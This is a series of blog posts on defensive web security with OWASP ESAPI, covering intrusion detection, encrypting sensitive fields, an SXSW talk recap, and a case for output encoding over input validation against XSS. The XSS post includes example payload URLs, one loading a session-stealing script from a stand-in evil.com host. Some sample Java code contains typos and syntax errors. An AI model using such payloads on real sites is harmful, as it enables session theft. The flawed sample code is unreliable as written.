T5WTPYAFGP - Become Big Brother

At South by Southwest this year, during my talk Defense Against The Dark Arts - ESAPI I covered the "Top 5 Ways To Protect Your Application From Getting Pwnd" [T5WTPYAFGP]. After a couple offline conversations I decided that this would make an excellent series of follow-up blog posts so what follows is the adaptation of that presentation material from that talk. Unlike a lot of other Top-N lists, the goal of this one is not to iterate the flaws, but rather to iterate the solutions.

Additionally each post includes some samples on how you can use ESAPI to implement the solutions discussed.

You can use the navigation below to navigate between each of the posts.

[5] Encrypt Sensitive Information
[4] Become "Big Brother" [current]
[3] Fix Your URL

4. Become "Big Brother"
As much as "Big Brother" irritates and/or scares the pants off of us in the real world, it is your responsibility to take up this mantle for your application - or better yet, have the application do it for you all by itself!

Intrusion detection and prevention systems are a long accepted means of detecting and neutralizing threats to networks, but there is a common weakness that they all have in common - they are network devices. As a network device they have no context in the application and can only provide a pattern-based blacklist approach to protecting your web applications. While this is a valuable piece of the overall security puzzle, what is lacking is a way for the application to monitor and respond to attacks. The key to implementing this protection is to teach your application to understand user behavior.

What is User Behavior?
To understand user behavior all you have to do is understand how your application is intended to be used. If a user deviates from the happy path by trying to subvert or bypass logic that you have in place then they are exhibiting bad user behavior. However, no user is perfect and everyone occasionally makes mistakes. This is the primary purpose of thresholds - that is, how many times, or how much a user is allowed to deviate from the happy path before they are exhibiting bad user behavior.

As an example, let's take the log in functionality of an application. Logging in a a typical piece of functionality that exists in just about every dynamic web application in the world.

A typical flow chart for the log in process may look similar to this:

There are a lot of user behaviors that we can extrapolate from this process flow. Here are a few of them:

1. Behavior: Anonymous User reaches (A) more than n times without reaching (C)
   Reaction: [1] notify admin of DoS - [2] ban user ip for n-minutes
2. Behavior: Anonymous User reaches (D) more than n times with n different usernames
   Reaction: [1] notify admin of Brute Force - [2] ban user ip for n-minutes
3. Behavior: Anonymous User reaches (E) after n times reaching (G)
   Reaction: [1] notify admin of Brute Force/DoS - [2] ban user ip for n-minutes

Notice that in defining the behaviors, we are not altering the flow of the application itself, we are instead detecting conditions across the process flow and reacting to them. This is the true power of application layer intrusion detection and prevention. 

Once we have identified our user behaviors, we can start to educate our application on how to respond to these conditions. By design, to enable intrusion detection in your application, the only requirement is to configure it to be enabled in your ESAPI.properties file. Simply set the IntrusionDetector.Disable property to be false and you are in business. Once intrusion detection is enabled in your application, any exception that extends the EnterpriseSecurityException will raise an event that the intrusion detector can be configured to respond to.

In the ESAPI.properties file you will find a section for IntrusionDetection with a sample configuration for events. You can add custom events here and configure what actions should be taken as well as thresholds for those events.

Introducing AppSensor

Some friends at OWASP took the ESAPI Intrusion Detector and some ideas that they had and built one of the most powerful application layer intrusion detection and prevention components available today. This project, called AppSensor - is built on top of ESAPI so it integrates seamlessly with ESAPI and provides fantastic protection to your application. I highly recommend using AppSensor for anything other than the most basic of intrusion detection and prevention needs.

AppSensor builds on the ESAPI Intrusion Detection component to integrate a state of the art application layer intrusion detection solution that is "ESAPI-Aware" - that is, it is aware of and interacts with various ESAPI components.

What Does it all Mean?
To some it all up - it is your right and your responsibility to ensure the safety of your clients and partners while they are using your applications. Understanding user behavior and recognizing key indicators is the key to stopping attackers before they can attack you and your users and the key to understanding user behavior lies in establishing a flexible application layer intrusion prevention solution.

Stay tuned for #3 in this series - Fix Your URL.

T5WTPYAFGP - Encrypt Sensitive Information

At South by Southwest this year, during my talk Defense Against The Dark Arts - ESAPI I covered the "Top 5 Ways To Protect Your Application From Getting Pwnd" [T5WTPYAFGP]. After a couple offline conversations I decided that this would make an excellent series of follow-up blog posts so what follows is the adaptation of that presentation material from that talk. Unlike a lot of other Top-N lists, the goal of this one is not to iterate the flaws, but rather to iterate the solutions.

Additionally each post includes some samples on how you can use ESAPI to implement the solutions discussed and gives us the opportunity to dive into each area a little deeper than we were able to in a one-hour presentation.


You can use the navigation below to navigate between each of the posts.

[5] Encrypt Sensitive Information [current]
[4] Become Big Brother
[3] Fix Your URL

5. Encrypt Sensitive Information
Number five on our list is to encrypt sensitive information. To understand this one we first need to define what actually constitutes sensitive information.

Most organizations that store credit card numbers are (hopefully) storing those credit card numbers in an encrypted format already, but what about the rest of the information that is stored. Think about your own organization or application - what information do you collect from your users?

According to published information, anything that is personally identifiable information, financial information, or medical information is to considered sensitive data and should be treated accordingly. Any organization that has to deal with standards verification will generally check the box for storage of sensitive information as long as that information is stored on an encrypted volume. This protects your customers from physical theft but what about run-time theft, which accounts for most of the largest breaches that occurred last year.

The key is to examine the risk for your application, determine what information would be damaging to release for your customers, and encrypt that data at rest. A lot of organizations simply don't want to incur the performance penalties of performing encryption and decryption of client data but some things are simply too important to ignore.

There are a number of ways to help mitigate the performance impact of using encryption in an application  and we will cover a few of them in this post.

The important thing is that once you have encryption configured (ie you have selected a provider and algorythm) actually performing the encryption and decryption of sensitive information is incredibly simple.

// Populate User Object from Request
// ...
// Encrypt Sensitive Information
CipherText encryptedSSN = ESAPI.encryptor().encrypt(new PlainText(userInfo.getSSN()));
userInfo.setSSN(new String(encryptedSSN.asPortableSerializedByteArray());
// Persist User Object
// ...

To decrypt the data is just as simple.

// Retrieve persisted User Object
// ...
// Decrypt Sensitive Information
CipherText encryptedSSN = CipherText.fromPortableSerializedBytes(user.getSSN());
PlainText decryptedSSN = ESAPI.encryptor().decrypt(encryptedSSN);
userInfo.setSSN(decryptedSSN.toString());
// Prepare User Object for use in application
// ...

Of course this can be abstracted into a service, added as an annotation processor in your persistence layer, and altered to be used in a more generic form that meets your specific platform needs. Additionally, depending on the type of information you are dealing with and the perceived risk of that information being leaked - it may make sense for the data to be encrypted all the time until it needs to be viewed or altered on the front end. This approach can also increase performance of the encryption and decryption because you are only ever performing this step when it is needed.

A comprehensive design is a little beyond the scope of this post, but when I do design I like to envision the end goal - that is what will the object I am protecting look like when I am done. To take the concept of the UserInfo object - here is what I envision as the end results:

public class UserInfo implements Serializable {
   private final static long serialVersionID = 1L;

   private Long id;
   private String username;

   // This field will be stored in-memory and persisted as a hashed value using SHA-256 
   @Sensative(type=SensitiveDataProtection.Type.HASH,
              algo=SensitiveDataProtection.Algo.SHA256
              mode=SensitiveDataProtection.Mode.RUNTIME)
   private String password;

   // This field will be stored in-memory and persisted as an encrypted value using the SecretKey "UserData.SSN" for encryption and decryption
   @Sensitive(type=SensitiveDataProtection.Type.ENCRYPTED,
              key="UserData.SSN",
              mode="SensitiveDataProtection.Mode.RUNTIME)
   private String ssn;

   // This field will be persisted as an encrypted value using the Master SecretKey but will be stored in-memory as a PlainText representation
   @Sensitive(type=SensitiveDataProtection.Type.ENCRYPTED,
              mode=SensitiveDataProtection.Mode.PERSIST)
   private String address;
}

This looks pretty simple to implement for a developer and seems to address a lot of design needs, particularly the need to apply encryption only at the point where it is required. Annotations aren't for everyone however, so how can we accomplish a similar design goal without using Annotations?

public class UserInto implements Serializable {
   private final static long serialVersionID = 1L;

   private Long id;
   private String username;

   // This field will be stored in-memory and persisted as a hashed string
   private HashString password;
   // This field will be stored in-memory and persisted as an encrypted string
   private CipherText ssn;
   // This field will be persisted as an encrypted string
   private PlainText address;
}

This example relies on the usage of data-types to specify the behavior of the data. While this breaks some rules in the world of design, it illustrates a possible solution to the problem.

Now do not be fooled into thinking that these solutions are simple to implement, they aren't - however the benefit of centralizing a standard control to perform this work is that you only have to write it once, you only have to maintain it in one place, and every developer of your application doesn't have to understand how the process works, just that it does.

In closing, here are each of the steps you should perform to address this problem and resolve it.

1. Identify sensitive data in your application
2. Design and implement a standard and centralized control
3. Apply encryption to sensitive data in your application

Stay tuned for #4 on our top 5 list "Become Big Brother"!

SXSW - Defense Against the Dark Arts

So I just arrived back home after a great time in Austin, TX for South by Southwest Interactive where I spoke about ESAPI. I have given several versions of this talk in various forms over the last couple years but this is the first time I have ventured outside of the security community to get this information in front of a different audience. When I submitted the talk for consideration, I really didn't have high expectations of the talk getting picked - and when I got notification that some other talks had cancelled and they had selected the talk for SXSW I was not only extremely excited but, incredibly surprised! I was excited for a lot of reasons, as a musician I have wanted to attend SXSW for many years; as a public speaker I was excited to have speaking at such a large and respected event under my belt and as a security evangelist I was excited to put this material in front of a new and entirely different audience.

As I got my confirmed time slot I was a little put off. I was to give the last presentation of the interactive conference at one of the auxiliary campuses. As expected, there was a number of people that were interested in the talk, but either couldn't make the time slot or didn't want to travel to the venue for the talk. Additionally, the room was the largest at the venue - combined with the smaller draw I was concerned that I would start losing the people that had made the trek.

I was pleasantly surprised at the immediate interaction with the small audience and it turned out to be a very great intimate presentation and conversation with a very interested party. The questions and feedback from the audience was fantastic and even though their was about a 50/50 split of technical and non-technical people present everyone seemed to follow and participated in the conversation.

There were a few lessons learned from this experience - the most important was that at a conference the size of SXSW it is important to do plenty of your own promotion for your talk. I was ill-prepared for doing a great deal of my own promotion and quickly found myself wishing I had prepared a handbill that I could give out to all the people that I was talking to about the presentation while wandering around the trade show and parties. Most everybody that I spoke with seemed interested in the talk and asked questions about it - most of them even expressed interest in attending the talk, but when there are 20-30 talks scheduled at the same time throughout some 5-7 venues throughout downtown Austin, unless there is something that I can hand them to remind them to add the talk to their personal schedule it passes from memory quickly due to the sheer amount of conversations had. I also found myself wishing that I had made arrangements to have the talk video-recorded. I was initially under the impression that all interactive talks were being video recorded but found out that was not the case.

The SXSW volunteer staff was awesome, while in the green room we had access to technical staff and logistics staff to make sure that we had everything in order for our presentation with plenty of time to spare so there was no last minute scrambling. Any questions that they could not answer themselves were quickly answered when they could make a quick phone call.

All of the presentations will eventually be on the interactive podcasts page on sxsw.com - as soon as a link becomes available I will update this post with that link. In the meantime, the slides for the presentation are available online - and a paper with some details to accompany the slides will be available tomorrow.

Presentation Podcast: [Coming Soon]
Presentation Slides: http://portal.sliderocket.com/BLXKW/ESAPI
Presentation Paper: http://yet-another-dev.blogspot.com/p/datda.html

In conclusion, this was an extremely rewarding and humbling experience and has shown me that there are people outside of the security and OWASP communities that are thirsty for this information. I eagerly anticipate my next opportunity to present secure development and ESAPI to more and more communities.

XSS - Validation vs. Encoding

I seem to have sparked another one of those lively internet conversations that I tend to spark from time to time. This time, the topic of debate was on mitigating XSS. I posted a response to a series of articles that I have read lately that either imply or blatantly state that Input Validation is the proper way to mitigate XSS. I whole-heartedly disagree with this assertion.

What is Cross-Site Scripting
Personally, I have always thought this is a horrible name for this vulnerability. The attack is performed by exploiting a vulnerability local to the codebase of the application. The Cross-Site part of XSS is really about the impact of the vulnerability rather than the vulnerability itself. An attacker can leverage weak security on a vulnerable site to include a payload hosted on another site.

That being said; XSS can be defined as a vulnerability that occurs when an attacker is able to break out of a data context and execute arbitrary code using crafted data. More simply put, XSS is nothing more than a buzz-word for a specific type of Command Injection vulnerability. Let's examine:

<!-- /search.jsp -->
<div id="my-custom-div">
   Your search for ${request.getParameter("q")} returned '${results.size}' results
</div>

What could go wrong here?

http://my.server.com/search.jsp?q=<script>alert(document.cookie)</script>
http://my.server.com/search.jsp?q=<script src="http://evil.com/steal-session.js"></script>

These are some very naive attacks that can work. Also, notice - I have also illustrated the Cross-Site part of the Cross-Site Scripting vulnerability in my second example. This is a cross-site payload to a command injection vulnerability as the vulnerability is not the cross-site part of it at all, in fact; the script tag acts exactly as it is specified to.

Data vs Execution Context
This is a subject that has been covered a hundred million times before by people a lot smarter than me, so I will provide a brief summary on what this means in the context of XSS:

Legend: Execution Environment Data

HTML Context:
<command parameter="data" parameter="data">data<ommand>

Javascript Context:
command("data");
var var_name="data";

Style Context:
selector {
   attr: data;
   attr: command(data);
}

Highly Dilluted Context:
<command style="attr: command(data)" onclick="command('data')" param="data">data<command>

Now that we have that covered, let's move into each exhibit one by one.


Exhibit A: Standard Run-Of-The-Mill XSS
This is your mommy and daddy's XSS vector. The most common type of XSS there is on the web today and coincidentally the easiest to mitigate. This is the Reflective XSS that was not only the grand-daddy of all other XSS vectors but is still the most prevalent type of XSS issue that I find in the wild. This type of XSS is also illustrated perfectly in the above example.

By accepting untrusted input that can be modified by the end-user and rendering that input directly to the view we have created our vulnerability. An attacker can break out of the data context simply by embedding a command in the data being submitted.

While it is possible that a strict alpha-numeric whitelist validation approach could effectively mitigate the illustrated payloads; this is often not acceptable. I used the search results page as an example here for 2 specific reasons.

1) Search Results Pages are were most of these issues exist.
2) Search Engines have their own parsing engines and data vs. context rules.

If the whitelist is too strict, I won't be able to perform quality searches such as

q=mfg:"Audi"+model:"A4"+year:>2010+price:<25000


Validation simply doesn't work in this case - yes, input validation should still happen here prior to forwarding this untrusted data to a back-end service such as Solr however when rendering on the view you want this to be encoded in the correct context:

<!-- /search.jsp -->
<div id="my-custom-div">
   Your search for ${encodeForHTML(request.getParameter("q"))} returned '${results.size}' results
</div>

When the untrusted data gets rendered now, it becomes:

"Your search for mfg:"Audi" model:"A4" year:&gt;2010 price:&lt;25000"

Additionally, an attempted attack from above becomes:

"Your search for &lt;script&gt;alert(document.cookie);&lt;/script&gt;"


Exhibit B: Persistent XSS
Persistent XSS really isn't any different than reflective when it comes to mitigation. The primary difference between Reflective and Persistent XSS is that reflective XSS relies on crafting links or otherwise tricking a victim into submitting the payload to the application whereas persistent XSS has no such limitations. A victim only needs to visit a page that has previously been exploited and the application delivers the payload to the victim without any additional interaction from the attacker. This is an important distinction in the way the attacks are executed, however they are mitigated the same way, by using Output Encoding.

Exhibit C: DOM-Based XSS
DOM Based XSS is a really interesting vector both from the attack and mitigate perspectives. What makes DOM Based XSS so unique is that it all happens in the browser. The details of what DOM-XSS actually is are discussed ad-nauseum here and here so I will refrain from trying to explain the details of it here. But if we examine the DOM-XSS Prevention Cheatsheet (which I contributed to at the OWASP Summit 2011 in Lisbon) you will see that once again, Output Encoding is the clear answer to solving this problem. The difference here being that when dealing with DOM-XSS you are encoding with Javascript as opposed to using Server-Side encoding.

Exhibit D: Edge Cases and Uncommon Vectors
In the conversation, a couple of edge cases were brought up. The first one was in dealing with File Uploads. I have to assume that the vector in question was related to this Ha.ckers.org Post. If that is indeed the case, then there are a few ways to address the problem. Output Encoding will still absolutely solve the issue, as the image filename is rendered to the view, the filename - having been provided from an untrusted source initially (end-user) should be encoded as an html attribute value in the src attribute of the img tag. While I would suggest doing that anyhow, the correct mitigation here is to rename a file rather than using the filename supplied in the post headers when writing it to disk.

The second edge case to be brought up was json parsing. This vector is a DOM-XSS vector, but is really neither about encoding or validation. The problem occurs when someone uses eval to parse a json data payload rather than using the new json_parse() function that is supplied in all modern browsers and is back-ported for non-modern browsers.

The last and final vector that was discussed was untrusted javascript and/or jsonp. Untrusted javascript and jsonp should never be executed in the scope of the document. This is also neither a validation or encoding issue, as neither are an XSS issue. These vectors are all about trust, and untrusted code should never be executed in the same scope or context as trusted code. The correct way to mitigate data-theft via untrusted script inclusion or jsonp is to execute that code in a sandbox or closure. In a sandbox or closure you can limit the scope of the execution context using a whitelist approach. Gareth Heyes has created some great sandboxing implementations to help combat against these attack vectors as OWASP Projects

Closing Statements
While I could (and maybe should) go into greater detail in each one of these areas, my main point with this post was to express that while Input Validation is a good idea for many many reasons, it is not the answer to solve one of the most prevalent bugs on the interwebz. Output Encoding remains the best practice for mitigating these attacks and by claiming otherwise we are doing a disservice to developers that really want to write more secure code. 

Update 1:
James Jardine has posted an excellent follow-up to this post on his blog over at  http://www.jardinesoftware.net/2011/09/09/xss-validation-vs-encoding/